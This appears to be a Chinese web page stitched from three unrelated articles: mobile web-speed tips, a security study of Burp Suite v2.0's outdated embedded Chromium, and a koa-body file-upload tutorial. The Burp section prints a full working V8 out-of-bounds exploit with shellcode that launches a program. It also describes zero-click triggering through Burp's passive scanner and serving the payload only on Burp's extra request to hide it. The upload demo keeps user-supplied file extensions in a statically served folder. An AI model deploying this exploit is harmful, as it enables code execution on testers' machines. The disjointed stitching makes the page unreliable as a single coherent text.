這個信息爆炸的時代,使用移動終端獲取新鮮信息已經是大勢所趨,但是移動網頁瀏覽速度還有巨大的提升空間。據 Strangeloop Networks 統計,在同樣的網絡條件下,使用移動端訪問相同網頁平均會比 PC 端慢40%!然而另一方面,用戶對網速的要求卻步步緊逼。研究表明,網頁響應時間可容忍的閥值是2秒,一旦超過3秒,會有40%的用戶放棄瀏覽頁面。
所謂天下武功,唯快不破!想要設計更快的網頁優化速度,我們可以借鑒成功的優化經驗,全球最大的CDN服務商Akamai(阿卡邁)針對移動體驗的問題,提供了一套較為完整的解決方案,感興趣的讀者可以前往注冊下載;與此同時,我們也可以采用直接的技術手段,本文從PC端優化經驗、HTTP/2優化協議、優化蜂窩網絡、以及智能的加載方案設計四個維度,總結了一些提升移動網頁加載速度的方法和技巧。
一、PC 端網站優化方案
不論在 PC 還是在移動瀏覽器上,只有不到10%的時間是用來讀取頁面的 HTML 的。剩下的90%是用來加載額外的如樣式表、腳本文件、或者圖片這樣的資源和執行客戶端的程序。因此,許多在 PC 端的傳統網頁優化方案在移動端仍然可行。比如說:
1.1 減少每個頁面的 HTTP 請求數
I. 將共用的 JavaScript 和 CSS 代碼放在公共的文件夾中與多個頁面共享。
II. 確保在一個頁面中相同的腳本不會被加載多次。同時,將腳本中的 Click 事件改為 On Touch 事件來減少固有的300ms延遲。
III. 使用 CSS Sprites 來整合圖像,將多張圖片整合到一個線性的網狀的大圖片中。
IV. 使用 Cache-Control 或者 Expires 標記來實現瀏覽器緩存,從而減少不必要的服務器請求,盡可能地從本地緩存中獲取資源。
1.2 減少每個請求加載的大小
I. 使用 gzip 這樣的壓縮技術來壓縮圖像和文本,依靠增加服務端壓縮和瀏覽器解壓的步驟,來減少資源的負載。
II. 整合并壓縮 CSS 與 JavaScript,刪除不必要的字符與變量。
III. 動態地調整圖片大小或者將圖片替換為移動設備專用的更小的版本。
IV. 分段加載和隱藏加載等手段,可以將不可見區域的內容延遲加載或暫時不需要的腳本進行延時讀取
二、采用更優的 HTTP/2 協議
2.1 多路復用技術帶來的請求-響應加速
I. HTTP/2 采用多路復用的技術,允許同時通過單一的 HTTP/2 連接發起多重的請求響應消息,從而大大的加快了網頁加載時間。
2.2 更節省空間的二進制頭部數據嵌套
I. HTTP/2 采用二進制格式傳輸數據,并把他們分割為更小的幀,相比于 HTTP/1.x 的文本格式傳輸更為方便。
II. HTTP1.x 的 header 由于 cookie 和 user agent 很容易膨脹,而且每次都要重復發送。HTTP/2 對消息頭采用 HPACK 進行壓縮傳輸,能夠節省消息頭占用的網絡流量。
2.3 Server Push 帶來的更快的資源推送
I. 通過 Server Push 功能,服務端可以主動把 JS 和 CSS 等文件發送給終端,而省去了解析HTML 請求的過程。簡單的說,當你需要訪問某個文件的時候,它已經在乖乖的在后臺躺好了。
三、優化蜂窩網絡
I.具有實力的內容服務商可以把資源配置在離用戶地理位置更近的地方,縮短最后一公里。
II. 與移動網絡服務商合作共同開發算法,實現實時自動調整互聯網路由,避免網絡擁堵、丟包與離線問題。
III. 還可以采用優化TCP協議的方法,通過借助主流的Cubic、Bic以及Westwood算法,可以有效的避免網絡擁堵。
IV. 此外,還可以研究算法改善NAT嵌套導致的網絡延時,也可以直接通過IPV6的連接協議規避NAT的延遲問題。
四、設計更加智能的加載方案
4.1采用分段加載和隱藏加載
I.分段加載又稱懶加載,它能夠在用戶滾動頁面的時候自動獲取更多的數據,從而可以很大程度上減少服務器端的資源耗用。諸如Lazyload.js或Belazy.js都是非常成熟易用的開發包。
II. 隱藏加載是在頁面顯示后再加載用戶暫時看不到的信息,諸如圖片展示窗里除了第一張圖片,其他圖片都可以采用隱藏加載的技術。
4.2采用預加載技術
I.資源預加載目的是讓瀏覽器在空閑時間下載或預讀取一些文檔資源,用戶在將來將會訪問這些資源時瀏覽器能快速的從緩存里提取給用戶。
II. 預加載技術不僅支持PC,也已經支持Android系統,可惜的是目前尚不支持iOS Safari。
III. 事實上,Prefetch是網頁優化里Prebrowsing的一部分,開發者還可以通過DNS-Prefetch , Subresource,Preconnect,Prerender等技術來實現預先解析DNS與提前渲染等優化。
4.3通過機器學習的手段智能加載
I.通過機器學習的方法,網站可以自動收集并分析用戶的瀏覽習慣與訪問信息,然后通過預加載的手段將最有可能訪問的信息提前加載完成。
4.4智能調整圖片分辨率
I.圖片通常占用了Web頁面加載的大部分網絡資源,也占據了頁面緩存的主要空間。 根據統計,一個站點平均62%的內容都是由圖片組成。管理這些圖片除了需要考慮到圖片的大小、格式、旋轉、藝術處理、增加水印、存儲空間等,還要顧及海量的設備的屏幕尺寸,以及適應終端上運行的瀏覽器。
以上是我們給開發者總結的一些經驗分享,希望能夠對讀者有所幫助,大家也可以注冊下載阿卡邁的技術PPT詳細了解如何通過CDN 的方式為(移動)網頁提速。我們需要明確的是,專注移動網頁的性能優化無疑是開發者需要努力的方向,然而用戶并不等于機器。用戶不關心你的網站發出了多少請求,也不在乎你的屏幕渲染得有多快,他們只關心網站帶給他們體驗上的感覺。因此,開發者在進行技術優化時,不僅僅是在某一技術點上的優化,更需要從網站的整體性能規劃把控,讓整個網站給客戶呈現出更快的加載體驗!
Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。
本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。
以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。
將burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。
在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄
從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。
那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。
當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。
browsercore32.exe進程運行參數如下:
// Chromium主進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。
Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。
Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。
以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)
這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。
該漏洞的Root Cause是在進行Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>
用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。
Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。
其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies)
JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。
額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。
額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:
默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。
以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。
不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。
本文章涉及內容僅限防御對抗、安全研究交流,請勿用于非法途徑。
今年國慶假期終于可以憋在家里了不用出門了,不用出去看后腦了,真的是一種享受。這么好的光陰怎么浪費,睡覺、吃飯、打豆豆這怎么可能(耍多了也煩),完全不符合我們程序員的作風,趕緊起來把文章寫完。
這篇文章比較基礎,在國慶期間的業余時間寫的,這幾天又完善了下,力求把更多的前端所涉及到的關于文件上傳的各種場景和應用都涵蓋了,若有疏漏和問題還請留言斧正和補充。
以下是本文所涉及到的知識點,break or continue ?
原理很簡單,就是根據 http 協議的規范和定義,完成請求消息體的封裝和消息體的解析,然后將二進制內容保存到文件。
我們都知道如果要上傳一個文件,需要把 form 標簽的enctype設置為multipart/form-data,同時method必須為post方法。
那么multipart/form-data表示什么呢?
multipart互聯網上的混合資源,就是資源由多種元素組成,form-data表示可以使用HTML Forms 和 POST 方法上傳文件,具體的定義可以參考RFC 7578。
multipart/form-data 結構
看下 http 請求的消息體
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次請求要上傳文件,其中boundary表示分隔符,如果要上傳多個表單項,就要使用boundary分割,每個表單項由———XXX開始,以———XXX結尾。
每一個表單項又由Content-Type和Content-Disposition組成。
Content-Disposition: form-data 為固定值,表示一個表單元素,name 表示表單元素的 名稱,回車換行后面就是name的值,如果是上傳文件就是文件的二進制內容。
Content-Type:表示當前的內容的 MIME 類型,是圖片還是文本還是二進制數據。
解析
客戶端發送請求到服務器后,服務器會收到請求的消息體,然后對消息體進行解析,解析出哪是普通表單哪些是附件。
可能大家馬上能想到通過正則或者字符串處理分割出內容,不過這樣是行不通的,二進制buffer轉化為string,對字符串進行截取后,其索引和字符串是不一致的,所以結果就不會正確,除非上傳的就是字符串。
不過一般情況下不需要自行解析,目前已經有很成熟的三方庫可以使用。
至于如何解析,這個也會占用很大篇幅,后面的文章在詳細說。
使用 form 表單上傳文件
在 ie時代,如果實現一個無刷新的文件上傳那可是費老勁了,大部分都是用 iframe 來實現局部刷新或者使用 flash 插件來搞定,在那個時代 ie 就是最好用的瀏覽器(別無選擇)。
DEMO
這種方式上傳文件,不需要 js ,而且沒有兼容問題,所有瀏覽器都支持,就是體驗很差,導致頁面刷新,頁面其他數據丟失。
HTML
<form method="post" action="http://localhost:8100" enctype="multipart/form-data">
選擇文件:
<input type="file" name="f1"/> input 必須設置 name 屬性,否則數據無法發送<br/>
<br/>
標題:<input type="text" name="title"/><br/><br/><br/>
<button type="submit" id="btn-0">上 傳</button>
</form>
復制代碼
服務端文件的保存基于現有的庫koa-body結合 koa2實現服務端文件的保存和數據的返回。
在項目開發中,文件上傳本身和業務無關,代碼基本上都可通用。
在這里我們使用koa-body庫來實現解析和文件的保存。
koa-body 會自動保存文件到系統臨時目錄下,也可以指定保存的文件路徑。
然后在后續中間件內得到已保存的文件的信息,再做二次處理。
NODE
/**
* 服務入口
*/
var http = require('http');
var koaStatic = require('koa-static');
var path = require('path');
var koaBody = require('koa-body');//文件保存庫
var fs = require('fs');
var Koa = require('koa2');
var app = new Koa();
var port = process.env.PORT || '8100';
var uploadHost= `http://localhost:${port}/uploads/`;
app.use(koaBody({
formidable: {
//設置文件的默認保存目錄,不設置則保存在系統臨時目錄下 os
uploadDir: path.resolve(__dirname, '../static/uploads')
},
multipart: true // 開啟文件上傳,默認是關閉
}));
//開啟靜態文件訪問
app.use(koaStatic(
path.resolve(__dirname, '../static')
));
//文件二次處理,修改名稱
app.use((ctx) => {
var file = ctx.request.files.f1;//得道文件對象
var path = file.path;
var fname = file.name;//原文件名稱
var nextPath = path+fname;
if(file.size>0 && path){
//得到擴展名
var extArr = fname.split('.');
var ext = extArr[extArr.length-1];
var nextPath = path+'.'+ext;
//重命名文件
fs.renameSync(path, nextPath);
}
//以 json 形式輸出上傳文件地址
ctx.body = `{
"fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
}`;
});
/**
* http server
*/
var server = http.createServer(app.callback());
server.listen(port);
console.log('demo1 server start ...... ');
復制代碼
CODE
https://github.com/Bigerfe/fe-learn-code/
*請認真填寫需求信息,我們會在24小時內與您取得聯系。